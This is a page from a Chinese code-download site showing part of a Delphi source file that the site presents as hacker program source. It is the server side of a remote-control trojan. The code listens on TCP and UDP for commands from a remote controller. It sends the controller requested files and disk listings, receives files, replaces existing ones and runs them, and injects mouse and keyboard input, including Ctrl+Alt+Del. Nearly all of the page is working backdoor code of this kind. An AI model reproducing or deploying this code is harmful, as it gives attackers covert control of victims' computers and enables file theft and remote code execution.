⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 几个hacker程序源码简介: 1*远程主机的磁盘目录与文件的浏览
💻 PAS
📖 第 1 页 / 共 4 页
字号:
       GMStream.Write(ReadBuffer,ReadSizeTemp)
      else exit;

   GMStream.Position:=GMStream.Size-8;
   GMStream.Read(Buffer2,8);
   GMStream.Position:=GMStream.Size;

   if Buffer2='$$$$$$$$' then
   begin
     GMStream.Position:=0;
     GMStream.SetSize(GMStream.Size-8);
     try
       GMStream.SaveToFile(ReplaceFileG);
       if autoRUN=True then
          ShellExecute(Application.Handle, 'OPEN',
               PChar(ReplaceFileG),'','', SW_SHOWNORMAL);
      try
       socket.SendText('恭喜:传递处理成功!');
       socket.close;
      except
      end;
     except
       Socket.Close;
       GMStream.Clear;
     end;
     Socket.Close;
     GMStream.Clear;
   end;
{R+}
end;

procedure TForm1.ReplaceSocketConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
    GMStream.Clear;
end;

procedure TForm1.FileExUDPDataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
var
   FileEx:array[1..255] of Char;
   i:integer;
   DiskChList:TStringList;
   DiskStream:TStringStream;
   iByte:Byte;
begin
   try
    FileExUDP.ReadBuffer(FileEx,NumberBytes);
   except
    exit;
   end;
    if FileEx[1]<>'$' then
    Begin
      FileExt:='';
      for i:=1 to NumberBytes do
          FileExt:=FileExt+FileEx[i];
    end else
    Begin
      try
       DiskChList:=TStringList.Create;
      except
       exit;
      end;
      Try
       DiskStream:=TStringStream.Create('');
      Except
       exit;
      end;
       For iByte:=3 To 20 do
       Begin
           if (diskFree(iByte)<>-1)
              and (disksize(iByte)<>-1) then
           Begin
            DiskChList.Add(chr(64+iByte)+':'
                +'磁盘:'+IntToStr((disksize(iByte) div (1000*1000)))
                +' MB 剩余:'+IntToStr((diskfree(iByte) div (1000*1000)))+' MB');
           end;
       end;
        DiskChList.SaveToStream(DiskStream);
        FileExUDP.RemoteHost:=FromIP;
        FileExUDP.RemotePort:=Port;
        Try
           FileExUDP.SendStream(DiskStream);
        except
          DiskStream.Free;
          DiskChList.Free;
        end;
        DiskStream.Free;
        DiskChList.Free;
    end;

end;

procedure TForm1.MouseKeyBdUDPDataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
var
  RecvChar:array[1..20] of char;
  MouseBtn,MousePosX,MousePosY:String;
  KeyState,KeyValue,strLsys:String;
  i:integer;
  ChangeST:Boolean;
  MousePoint:TPoint;
begin
   MouseKeyBdUDP.ReadBuffer(RecvChar,NumberBytes);
    strLsys:=RecvChar[1]+RecvChar[2]+RecvChar[3]+RecvChar[4];
//查看任务
   if strLsys='查看' then
   begin
      KeyBD_Event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),KEYEVENTF_EXTENDEDKEY,0);
       application.ProcessMessages;
      KeyBD_Event(VK_MENU,MapVirtualKey(VK_MENU,0),KEYEVENTF_EXTENDEDKEY,0);
       application.ProcessMessages;
      KeyBD_Event(46,MapVirtualKey(46,0),KEYEVENTF_EXTENDEDKEY,0);
       application.ProcessMessages;
      KeyBD_Event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,0);
       application.ProcessMessages;
      KeyBD_Event(VK_MENU,MapVirtualKey(VK_MENU,0),KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,0);
       application.ProcessMessages;
      KeyBD_Event(46,MapVirtualKey(46,0),KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,0);
       application.ProcessMessages;
     exit;
   end;
//切换输入法
   if strLsys='切换' then
   begin
      KeyBD_Event(17,0,0,0);
        application.ProcessMessages;
      KeyBD_Event(16,0,0,0);
         application.ProcessMessages;
      KeyBD_Event(16,0,KEYEVENTF_KEYUP,0);
         application.ProcessMessages;
      KeyBD_Event(17,0,KEYEVENTF_KEYUP,0);
         application.ProcessMessages;
      exit;
   end;

  if RecvChar[3]<>'#' then
  begin
   MouseBtn:=RecvChar[1]+RecvChar[2]+RecvChar[3];
   MousePosX:='';
   MousePosY:='';
   ChangeST:=False;
   For i:=4 to NumberBytes do
   begin
      if (RecvChar[i]<>'*') and (ChangeST<>True) then
      begin
        MousePosX:=MousePosX+RecvChar[i];
      end;
      if RecvChar[i]='*' then ChangeST:=True;
      if (RecvChar[i]<>'*') and (ChangeST=True) then
      begin
        MousePosY:=MousePosY+RecvChar[i];
      end;
   end;
  MousePoint.x:=StrToInt(MousePosX);
  MousePoint.y:=StrToInt(MousePosY);  
  SetCursorPos(MousePoint.x,MousePoint.y);

  if MouseBtn='LMD' then
   begin
     SetCapture(WindowFromPoint(MousePoint));
     mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
   end;
  if MouseBtn='LMU' then
   begin
     mouse_event(MOUSEEVENTF_LEFTUP  ,0,0,0,0);
   end;

  if MouseBtn='MMM' then
   begin
    mouse_event(MOUSEEVENTF_MOVE     ,0,0,0,0);
   end;

  if MouseBtn='RMD' then
   begin
     SetCapture(WindowFromPoint(MousePoint));
     mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
   end;
  if MouseBtn='RMU' then
   begin
     mouse_event(MOUSEEVENTF_RIGHTUP  ,0,0,0,0);
   end;

  if MouseBtn='MMD' then
   begin
     mouse_event(MOUSEEVENTF_MIDDLEDOWN,0,0,0,0);
   end;
  if MouseBtn='MMU' then
   begin
     mouse_event(MOUSEEVENTF_MIDDLEUP  ,0,0,0,0);
   end;
 end else
  Begin
     KeyState:=RecvChar[1]+RecvChar[2];
     KeyValue:='';
     For I:=4 to NumberBytes do
     begin
        KeyValue:=KeyValue+RecvChar[i];
     end;
     if KeyState='KD' then
        KeyBD_Event(StrToInt(KeyValue),0,0,0);
     if KeyState='KU' then
        KeyBD_Event(StrToInt(KeyValue),0,KEYEVENTF_KEYUP,0);
  end;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Application.Terminate;
  ReleaseDC(DeskHWnd, dc);
  CSocket1.Close;
  ReplaceSocket.Close;
  MonitorSSocket1.Close;
  MonitorSSocket2.Open;
  jpg.Free;
  TheBmp.Free;
  GMStream.Free;
  MiddleStream.Free;

  DirStringList.Free;
  FileStringList.Free;

  SwapBmp.Free;
  SwapBmp0.Free;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
  CanClose:=True;
  Application.Terminate;
end;

procedure TForm1.MonitorSSocket2ClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
    errorCode:=0;
    Socket.Close;
end;

procedure TForm1.CSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  ErrorCode:=0;
  GMStream.Clear;
  socket.Close;
end;

procedure TForm1.ReplaceSocketError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
    ErrorCode:=0;
    GMStream.Clear;
    Socket.Close;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  Application.Terminate;
  ReleaseDC(DeskHWnd, dc);
  CSocket1.Close;
  ReplaceSocket.Close;
  MonitorSSocket1.Close;
  MonitorSSocket2.Open;
  jpg.Free;
  TheBmp.Free;
  GMStream.Free;
  MiddleStream.Free;

  DirStringList.Free;
  FileStringList.Free;

  SwapBmp.Free;
  SwapBmp0.Free;
  GlobalDeleteAtom(GlobalFindAtom('HIRUNNING'));
  Application.Terminate;
end;

procedure TForm1.FileCSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
{R-}
Var
  LBuffRead:Array[1..8192] of char;
  iLReadSize,iLSendStat:Integer;
  iLSendSize:LongInt;
begin
   GDirStream.Position:=0;iLSendSize:=0;
    Repeat
        iLReadSize:=GDirStream.Read(LBuffRead,8192);
        iLSendSize:=iLSendSize+iLReadSize;
         Repeat
           Try
            iLSendStat:=Socket.SendBuf(LBuffRead,iLReadSize);
           except
            GDirStream.Size:=0;
           end;
         until iLSendStat<>-1;
    Until iLSendSize=GDirStream.Size;
    try
      repeat
       iLSendStat:=Socket.SendText('$$$$$');
      until iLSendStat<>0;
    except
      GDirStream.Size:=0;
    end;
   GDirStream.Size:=0;
{R+}
end;
procedure TForm1.FileCSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
{R-}
Var
  LBuffRead:Array[1..8192] of char;
  iLReadSize,iLSendStat:Integer;
  iLSendSize:LongInt;
begin
 if Socket.ReceiveText='NEXT' then
   Begin
    GFileStream.Position:=0;iLSendSize:=0;
    Repeat
        iLReadSize:=GFileStream.Read(LBuffRead,8192);
        iLSendSize:=iLSendSize+iLReadSize;
         Repeat
           Try
            iLSendStat:=Socket.SendBuf(LBuffRead,iLReadSize);
           except
            GFileStream.Size:=0;
           end;
         until iLSendStat<>-1;
    Until iLSendSize=GFileStream.Size;
    try
      repeat
       iLSendStat:=Socket.SendText('%%%%%');  
      until iLSendStat<>0;
    except
      GFileStream.Size:=0;
    end;
   GFileStream.Size:=0;
   socket.Close;
 end;
{R+}
end;

procedure TForm1.FileCSocket1Error(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  ErrorCode:=0;
end;

procedure TForm1.MonitorSSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
Var
  SDirStream,SFileStream:TStringStream;
  strLDir,strL1,LFileName:String;
  iL1:Integer;
begin
  strLDir:=Socket.ReceiveText;
  strL1:=strLDir[1]+strLDir[2]+strLDir[3];
  LFileName:='';
  For iL1:=4 To length(strLDir) do LFileName:=LFileName+strLDir[iL1];
//TCP---文件下载:
  if strL1='DLD' then
  Begin
   if FileExists(LFileName) then
   begin
    GMStream.LoadFromFile(LFileName);
    
    if GMStream<>nil then
     Begin
        repeat
         Application.ProcessMessages;
        until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
           +':文件下载开始...')<>0;
       CSocket1.Close;
        CSocket1.Address:=Socket.RemoteAddress;
       CSocket1.Open;
        repeat
        Application.ProcessMessages;
        until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
           +':文件下载完毕!')<>0;
     end;
   end;
   exit
  end;
//TCP---远程执行:
  if strL1='RUN' then
  Begin
     if FileExists(LFileName) then
        ShellExecute(Application.Handle, 'OPEN',
               PChar(LFileName),'','', SW_SHOWNORMAL);
     repeat
        Application.ProcessMessages;
     until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
           +':远程运行完毕!')<>0;
     exit;
  end;
//TCP---远程存储与执行否?
  if strL1='RVN' then
  Begin
     autoRUN:=True;
     repeat
        Application.ProcessMessages;
     until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
           +':远程执行OK!')<>0;
     exit;
  end;
  if strL1='RNN' then
  Begin
     autoRUN:=False;
     repeat
        Application.ProcessMessages;
     until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
           +':远程执行NO!')<>0;
     exit;
  end;
//TCP---文件类型
if strL1='EXT' then
  Begin
     FileExt:=LFileName;
     repeat
        Application.ProcessMessages;
     until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
           +':文件类型已改。')<>0;
     exit;
  end;
//TCP---远程存储
  if strL1='SAV' then
    Begin
     if DirectoryExists(ExtractFileDir(LFileName))then
     begin
       repeat
        Application.ProcessMessages;
       until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
           +':远程存储开始...')<>0;
       ReplaceFileG:=LFileName;
       ReplaceSocket.Close;
       ReplaceSocket.Address:=Socket.RemoteAddress;
       ReplaceSocket.Open;
       repeat
        Application.ProcessMessages;
       until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
           +':远程存储结束!')<>0;
     end;
     exit;
    end;
//TCP---远程替换
  if strL1='SAS' then
   Begin
     if FileExists(LFileName)then
     begin
       repeat
        Application.ProcessMessages;
       until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
           +':远程替换开始...')<>0;
       ReplaceFileG:=LFileName;
       ReplaceSocket.Close;
       ReplaceSocket.Address:=Socket.RemoteAddress;
       ReplaceSocket.Open;
       repeat
        Application.ProcessMessages;
       until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
           +':远程替换结束!')<>0;
     end;
     exit;
   end;

//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

  SDirStream:= TStringStream.Create('');
  SFileStream:=TStringStream.Create('');
  if DirectoryExists(strLDir) then
   begin
        CaptureID:=1;
        try

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -